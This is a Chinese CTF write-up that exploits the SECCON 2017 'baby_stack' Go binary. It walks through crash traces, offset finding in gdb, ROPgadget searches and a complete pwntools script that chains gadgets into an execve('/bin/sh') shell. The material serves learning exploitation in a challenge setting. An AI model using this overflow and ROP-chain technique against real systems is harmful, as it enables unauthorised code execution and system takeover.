SECCON 2017 baby_stack

保护措施

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

就是一个输入输出的程序

1
2
3
4
5
# ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> a
Give me your message >> b
Thank you, a!
msg : b

静态链接的,那么就不用libc了

1
2
# file ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

不过呢,是go语言编写的,输入比较长的字符给message后可以看到报错中有.go文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> a
Give me your message >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
panic: runtime error: growslice: cap out of range

goroutine 1 [running]:
panic(0x4e4800, 0xc82000a360)
/usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6
fmt.(*fmt).padString(0xc82006cef8, 0x6161616161616161, 0x6161616161616161)
/usr/lib/go-1.6/src/fmt/format.go:130 +0x406
fmt.(*fmt).fmt_s(0xc82006cef8, 0x6161616161616161, 0x6161616161616161)
/usr/lib/go-1.6/src/fmt/format.go:322 +0x61
fmt.(*pp).fmtString(0xc82006cea0, 0x6161616161616161, 0x6161616161616161, 0xc800000073)
/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc
fmt.(*pp).printArg(0xc82006cea0, 0x4c1c00, 0xc82000a340, 0x73, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:797 +0xd95
fmt.(*pp).doPrintf(0xc82006cea0, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2)
/usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd
fmt.Fprintf(0x7fa1306231e8, 0xc820028010, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:188 +0x74
fmt.Printf(0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x20, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:197 +0x94
main.main()
/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e

这里有个坑就是你输入的字符串太长就像上面的,感觉没啥可利用的地方,假如你输入115个
你可以看到你可以控制复制的源地址和复制的大小,计算一下偏移就是104

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 
Please tell me your name >> a
Give me your message >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
unexpected fault address 0x0
fatal error: fault
[signal 0xb code=0x80 addr=0x0 pc=0x456551]

goroutine 1 [running]:
runtime.throw(0x507550, 0x5)
/usr/lib/go-1.6/src/runtime/panic.go:547 +0x90 fp=0xc82003b5b8 sp=0xc82003b5a0
runtime.sigpanic()
/usr/lib/go-1.6/src/runtime/sigpanic_unix.go:27 +0x2ab fp=0xc82003b608 sp=0xc82003b5b8
runtime.memmove(0xc82008c00b, 0x6161616161616161, 0x616161)
/usr/lib/go-1.6/src/runtime/memmove_amd64.s:83 +0x91 fp=0xc82003b610 sp=0xc82003b608
fmt.(*fmt).padString(0xc82006cd58, 0x6161616161616161, 0x616161)
/usr/lib/go-1.6/src/fmt/format.go:130 +0x456 fp=0xc82003b730 sp=0xc82003b610
fmt.(*fmt).fmt_s(0xc82006cd58, 0x6161616161616161, 0x616161)
/usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fp=0xc82003b760 sp=0xc82003b730
fmt.(*pp).fmtString(0xc82006cd00, 0x6161616161616161, 0x616161, 0xc800000073)
/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fp=0xc82003b790 sp=0xc82003b760
fmt.(*pp).printArg(0xc82006cd00, 0x4c1c00, 0xc82000a340, 0x73, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fp=0xc82003b918 sp=0xc82003b790
fmt.(*pp).doPrintf(0xc82006cd00, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2)
/usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fp=0xc82003bca0 sp=0xc82003b918
fmt.Fprintf(0x7f7b5b4011e8, 0xc820028010, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fp=0xc82003bce8 sp=0xc82003bca0
fmt.Printf(0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x20, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:197 +0x94 fp=0xc82003bd50 sp=0xc82003bce8
main.main()
/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e fp=0xc82003bf50 sp=0xc82003bd50
runtime.main()
/usr/lib/go-1.6/src/runtime/proc.go:188 +0x2b0 fp=0xc82003bfa0 sp=0xc82003bf50
runtime.goexit()
/usr/lib/go-1.6/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc82003bfa8 sp=0xc82003bfa0

假如传入可读的地址和一个大小,我们就可以print出东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: utf-8 -*-
from pwn import *

#context.log_level = 'debug'

p = process("baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8")

padding = "a" * 104

payload = padding + p64(0xc82003b608) + p64(8)


p.recvuntil("Please tell me your name >> ")
p.sendline("a")
p.recvuntil("Give me your message >> ")
p.sendline(payload)

p.interactive()

结果

1
2
3
4
5
6
7
8
9
python exp.py 
[!] Could not find executable 'baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' in $PATH, using './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' instead
[+] Starting local process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8': pid 7346
[*] Switching to interactive mode
[*] Process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' stopped with exit code 0 (pid 7346)
Thank you, V{E\x00\x00\x00\x00\x00!
msg : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[*] Got EOF while reading in interactive
$

可以看到,我们控制了第一个printf的输出,那么我们是不是可以通过加长控制第二个输出不产生异常,进而覆盖返回地址呢(注意重点是不产生异常)

通过70 80 90这样试,发现padding是80

1
2
3
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 70
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 80
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 90

发现padding是80

最后gdb字符串定位

1
2
3
4
padding = "a" * 104
padding2 = "a" * 80

payload = padding + p64(0xc82003b608) + p64(8) + padding2 + p64(0xc82003b608) + p64(8) + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b"

gdb查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[-------------------------------------code-------------------------------------]
0x401454 <main.main+1108>: mov QWORD PTR [rsp+0x20],rbx
0x401459 <main.main+1113>: call 0x45ac40 <fmt.Printf>
0x40145e <main.main+1118>: add rsp,0x1f8
=> 0x401465 <main.main+1125>: ret
0x401466 <main.main+1126>: lea r8,[rbx+0x8]
0x40146a <main.main+1130>: mov QWORD PTR [rsp],r8
0x40146e <main.main+1134>: mov QWORD PTR [rsp+0x8],rax
0x401473 <main.main+1139>: call 0x40f330 <runtime.writebarrierptr>
[------------------------------------stack-------------------------------------]
0000| 0xc82003bf48 ("ZAAxAAyAAzA%%A%"...)
0008| 0xc82003bf50 ("AzA%%A%sA%BA%$A"...)
0016| 0xc82003bf58 ("A%BA%$A%nA%CA%-"...)
0024| 0xc82003bf60 ("nA%CA%-A%(A%DA%"...)
0032| 0xc82003bf68 ("%(A%DA%;A%)A%EA"...)
0040| 0xc82003bf70 ("A%)A%EA%aA%0A%F"...)
0048| 0xc82003bf78 ("aA%0A%FA%b")
0056| 0xc82003bf80 --> 0x6225 ('%b')

算偏移

1
2
3
4
pwndbg> x /gx 0xc82003bf48
0xc82003bf48: 0x417941417841415a
pwndbg> pattern_offset 0x417941417841415a
4717873834093527386 found at offset: 192

这静态编译的,没有导入表,使用系统调用吧,查了下程序中刚好有系统调用,64位是syscall,32位是int 0x80

1
2
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "syscall"
0x0000000000456889 : syscall ; ret

而64位下,execve的系统调用号为59,即0x3b

1
#define __NR_execve 59

查询可以到这,我之前记录了

http://blog.csdn.net/u012763794/article/details/78777938

接下来我们就构造rop,调用execve(“bin//sh”),传参的话是前三个参数在rdi,rsi和rdx

rdi的设置

首先设置rdi为bss首地址地址的组件

1
2
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rdi"
0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret

往bss数据写入的组件

1
2
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "mov qword ptr \[rdi\]"
0x0000000000456499 : mov qword ptr [rdi], rax ; ret

给rax赋值

1
2
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rax ; ret"
0x00000000004016ea : pop rax ; ret

上面要设置rax为可读可写,选个0x58e100吧

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x4b1000 r-xp b1000 0 /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
0x4b1000 0x58e000 r--p dd000 b1000 /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
0x58e000 0x5a0000 rw-p 12000 18e000 /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
0x5a0000 0x5c0000 rw-p 20000 0 [heap]
0xc000000000 0xc000001000 rw-p 1000 0
0xc81fff8000 0xc820100000 rw-p 108000 0
0x7ffff7f2b000 0x7ffff7ffb000 rw-p d0000 0
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 0 [vvar]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

rsi和rdx要置0

1
2
3
4
5
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rsi"
0x000000000046defd : pop rsi ; ret

ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rdx"
0x00000000004a247c : pop rdx ; or byte ptr [rax - 0x77], cl ; ret

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug'

p = process("baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8")

padding = "a" * 104
padding2 = "a" * 80
padding3 = "a" * 192

# ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
# 0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret
# 0x0000000000456499 : mov qword ptr [rdi], rax ; ret
# 0x00000000004016ea : pop rax ; ret
# 0x000000000046defd : pop rsi ; ret
# 0x00000000004a247c : pop rdx ; or byte ptr [rax - 0x77], cl ; ret
# 0x0000000000456889 : syscall ; ret
pop_rdi_ret = 0x0000000000470931
mov_rdi_rax = 0x0000000000456499
pop_rax_ret = 0x00000000004016ea
pop_rsi_ret = 0x000000000046defd
pop_rdx_ret = 0x00000000004a247c
syscall_ret = 0x0000000000456889

wx_address = 0x58e100
bss_addr = 0x000000000059f920
bin_sh = "/bin/sh\x00"

# write bin_sh to bss_addr
rop_gadgets = ""
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(wx_address)
rop_gadgets += p64(pop_rdi_ret)
rop_gadgets += p64(bss_addr)
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += bin_sh
rop_gadgets += p64(mov_rdi_rax)

# left rsi = rdx = 0
rop_gadgets += p64(pop_rsi_ret)
rop_gadgets += p64(0)
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(wx_address)
rop_gadgets += p64(pop_rdx_ret)
rop_gadgets += p64(0)

# set syscall num: eax = 0x3b
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(0x3b)

# syscall
rop_gadgets += p64(syscall_ret)


payload = padding + p64(0xc82003b608) + p64(8) + padding2 + p64(0xc82003b608) + p64(8) + padding3 + rop_gadgets

p.recvuntil("Please tell me your name >> ")
p.sendline("a")
p.recvuntil("Give me your message >> ")
p.sendline(payload)

p.interactive()
自愿打赏专区